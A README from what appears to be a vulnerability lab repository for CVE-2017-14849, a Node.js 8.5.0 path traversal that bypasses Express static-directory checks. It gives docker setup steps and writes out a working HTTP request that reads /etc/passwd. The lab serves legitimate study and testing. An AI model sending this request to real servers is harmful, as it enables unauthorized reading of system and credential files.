Aaron
63285f61aa
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45 lines
2.1 KiB
Markdown
45 lines
2.1 KiB
Markdown
# Node.js 8.5.0 Path Traversal (CVE-2017-14849)
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[中文版本(Chinese version)](README.zh-cn.md)
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Node.js is a cross-platform, open-source JavaScript runtime environment. Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
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The vulnerability exists due to a logic error in Node.js 8.5.0's `normalize` function when handling directory paths. When traversing up directories (e.g., `../../../../../../etc/passwd`), adding `foo/../` in the middle of the path (e.g., `../../../foo/../../../../etc/passwd`) causes `normalize` to incorrectly return `/etc/passwd`, when the correct result should be `../../../../../../etc/passwd`.
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Web frameworks like Express typically provide static file server functionality that relies on the `normalize` function. For example, Express uses the `normalize` function to check if a path exceeds the static directory boundaries. The above bug causes the `normalize` function to return incorrect results, bypassing these checks and leading to arbitrary file read vulnerabilities.
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While the `normalize` bug could potentially affect more than just Express and requires further investigation, its impact is limited since the bug was introduced in Node.js 8.5.0 and was fixed in version 8.6.
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Reference links:
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- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
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- https://security.tencent.com/index.php/blog/msg/121
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## Environment Setup
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Run following commands to build and run a vulnerable application based on the Node.JS 8.5.0 and Express 4.15.5:
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```
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docker compose build
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docker compose up -d
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```
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Visit `http://your-ip:3000/` to see a web page that references the file `/static/main.js`, indicating the presence of a static file server.
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## Vulnerability Reproduce
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Send the following request to read the passwd file:
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```
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GET /static/../../../a/../../../../etc/passwd HTTP/1.1
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Host: your-ip:3000
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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```
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